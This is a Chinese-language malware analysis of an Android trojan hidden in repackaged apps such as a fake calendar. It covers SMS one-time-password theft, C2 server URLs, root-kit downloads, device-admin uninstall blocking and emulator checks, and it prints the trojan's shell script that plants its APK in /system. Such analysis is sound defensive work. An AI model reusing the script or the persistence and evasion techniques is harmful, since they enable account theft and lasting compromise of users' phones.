作者:逆巴,[email protected]
攻擊者將木馬制作成用戶剛需應用,如色情類、生活服務類,或將惡意代碼通過二次打包,注入到合法的應用當中,偽裝成為合法應用,上傳到android市場或某些論壇,誘導用戶下載。一旦用戶下載運行了此類應用,木馬通過云端推送root 工具包,以及惡意應用;通過短信提取動態密碼,第一時間發送給木馬作者,直接造成財產損失、隱私泄露等;木馬創建不死服務,后臺root設備,成功root后將 惡意應用植入系統分區,用戶即使恢復出廠設置也無法完全卸載木馬。具體執行過程如下圖:
圖木馬執行流程
被感染應用以及惡意樣本數量過千類,以下列出“萬年歷,清澀笑話,特實惠, 魅力女生動態桌面,開心樂消消-歡樂版,內涵壁紙,開心樂消消,全網充話費,極致腿模,好聽音樂,HoloTorch,情趣內涵電臺,Accurate Battery,Super Silent,心情天氣”
圖木馬圖標
樣本存在大量變種,以下對“偽萬年歷”樣本進行行為分析。木馬將惡意代碼打包入正常應用。啟動“偽萬年歷”應用后,進入正常的日歷界面,而應用的Application 類作為惡意代碼入口點。
圖“偽萬年歷”應用啟動界面
提取短信中的動態密碼,第一時間轉發到指定號碼并截斷短信發送,這樣用戶將在不之情的情況下,大量賬號被盜。攔截用戶短信彩信,提取到的動態密碼以及手機信息發送到云端服務器。直接造成財產損失,隱私泄露。
木馬動態注冊短信監聽廣播,通過類加載反射等技術進行具體的監控操作。當觸發短信消息事件時,木馬會動態加載myjar.jar,反射調用smscheck函數。
圖動態注冊廣播監聽短信消息
圖動態加載dex,反射調用smscheck函數
圖提取動態密碼代碼
對smscheck函數分析,發現若攔截到的短信中存在動態密碼,病毒會第一時間發送給指定號碼,同時會將動態密碼,以及當前手機信息作為參數post提交到云端服務器。也就是木馬作者通過用戶手機號碼找回密碼,這樣輕松的盜取用戶賬號密碼,而中馬用戶完全不知曉。
圖將動態密碼發送到指定手機
圖將攔截到短信發送到指定服務器
接下來過濾短信發送者,將短信內容,發送者手機號碼,以及手機imsi等發post到指定服務器
跟蹤發現服務器目錄,存放了中馬手機信息以及root手機的工具
圖服務器目錄文件
LocationService開啟任務線程,在任務線程里動態注冊廣播,監聽網絡變化,屏幕喚醒鎖屏,應用安裝卸載跟新等,監控廣播做為病毒行為觸發點。獲取手機信息做為post參數,上傳到云端服務器。 (android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED, android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)
接下來對病毒下載云端root 工具的分析。木馬首先向服務器post手機的imei、imsi、分辨率、手機號等基本信息,服務器返回加密的url指令,解碼url獲取下載Root手機所需的busybox、su、install-recovery.sh等工具
圖post 手機信息到服務器(http://api.wangyan9488.com:8285/api/getShell.jsp
),返回加密url
圖服務器返回的加密url
圖shellv5.jar 里的文件 root 工具包
木馬本地解密url,獲取到root 工具下載源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下載到手機后改名為“shellv5.jar”,其實是一壓縮包
采用同樣的過程下載root sdk,訪問服務器http://api.wangyan9488.com:8287/api/getAttach.jsp,獲取加密url
圖加密root sdk url
木馬解密url,獲取下載源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下載jar文件,下載到手機后改名為“dlv5.jar”。通過動態加載該文件中的dex文件,同時利用之前下載的工具獲取Root權限,隨后將同名文件名的apk文件植入到/system/app/下并安裝。該apk偽裝成系統“下載服務”,而自身是與母樣本偽萬年歷相同行為的木馬。
利用設備管理器缺陷,在取消激活設備管理之前,DevicePolicyManagerService會調用應用的onDisableRequested方法獲取取消激活的警示信息。下圖可以發現病毒在發現取消激活時,會進行屏幕鎖屏之后進入系統setting 頁面,這樣一旦用戶激活設備將無法卸載。
圖取消設備管理時屏幕鎖屏
圖啟動BlueService服務
偽裝成系統“下載管理”應用,同樣通過post手機信息到云端服務器,get加密后的url,然后本地解密url獲取下載推廣的應用。同樣的代碼模塊激活設備管理防止卸載。
圖“下載管理”應用
圖“下載管理”激活設備管理
下圖為BlueService服務的任務線程,紅色框動態注冊RootReciver,當網絡發生變化或手機鎖屏喚醒時,在后臺嘗試root。
圖blueService服務任務線程代碼
檢測14425728404326709.apk是否被安裝,其實這是root之后安裝到系統目錄下的文件,root的最終目的就是將惡意應用植入system目錄,偽裝成系統應用,長期駐留用戶設備。木馬通過DexClassLoader加載云端配置的rootDex,隨后反射調用getDex 函數進行root工作。下圖動態加載dex,反射調用getDex
圖動態加載dex,反射調用getDex
將云端下載到sdcard/.xxx目錄里的busybox,su 拷貝到應用文件目錄,創建aa.xml文件表示開始進行root 工作。下圖創建開始root文件
圖創建開始root的flag文件
將云端下載在xxx目錄下的root 工具,拷貝到data/files目錄下,并在files目錄下創建psneuter.js
圖拷貝root 工具
root成功后將14425728404326709.apk 安裝到system/app目錄并啟動該應用。動態攔截發現,本次分析下載的root sdk 工具包,應該是刷機大師的MTK ROOT方案。由于云端配置靈活,下載獲取的root工具包靈活(根據手機版本等信息,下載不同root工具包)。
圖root 手機代碼
圖動態攔截返回
suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js
suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js
suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js
成功root后執行psneuter.js,木馬將成功偽裝成系統應用隱藏在用戶手機,即使恢復出廠設置也無法卸載。
psneuter.js文件內容
#!bash
#!/system/bin/sh
mount -o rw,remount /system
/data/local/tmp/busybox mount -o rw,remount /system
cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
chmod 0644 /system/app/14425728404326709.apk
pm install /system/app/14425728404326709.apk
mount -o ro,remount /system
/data/local/tmp/busybox mount -o ro,remount /system
echo "Now, script finish!”
圖 root成功木馬偽裝系統軟件“下載服務”
只要保證兩大核心服務LocationService,BlueService 不死,就可以一直在后臺執行惡意代碼。木馬在啟動核型服務LocationService,BlueService的同時,會注冊守護廣播,保證核心服務一直啟動。
圖啟動LocationService服務同時注冊守護廣播
守護服務的廣播,通過監聽屏幕開關、手機電量變化、時間更改,啟動被保護的服務。
圖守護廣播監聽的消息
該樣本存在大量變種,且都是由LocationService,BlueService核心服務演變而來,從最開始的惡意應用推廣到云端root sdk配置,升級到通過短信盜號,對抗殺軟檢測在native層檢測運行環境等。
對變種木馬“內涵壁紙”樣本分析,首先在native層檢查運行環境,若不是模擬器才啟動惡意廣播。這樣有效的躲避了動態引擎檢測,以及逆向分析人員分析。
圖native層啟動惡意廣播
模擬器檢查,若木馬運行環境在模擬器內,木馬將不會啟動惡意廣播。模擬檢查主要檢查cpuinfo是否為goldfish,設備IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手機運營商等。
圖模擬器檢測
使用加固手段增加被惡意者二次打包的成本:如使用阿里聚安全應用加固方案,無需開發者修改源代碼或者二次開發,通過加殼,加密,邏輯混淆,代碼隱藏等各類應用加固方法,防止應用被逆向分析,反編譯,以及二次打包嵌入各類病毒廣告等惡意代碼。
用戶下載應用請到官方網站或安全應用市場,切勿點擊任何色情鏈接,尤其是短信、QQ、微信等聊天工具中不熟識的“朋友”發來的鏈接。
如果不確定手機是否毒,可以安裝阿里錢盾等手機安全軟件,對手機上的應用進行檢測,防止高風險惡意應用的安裝。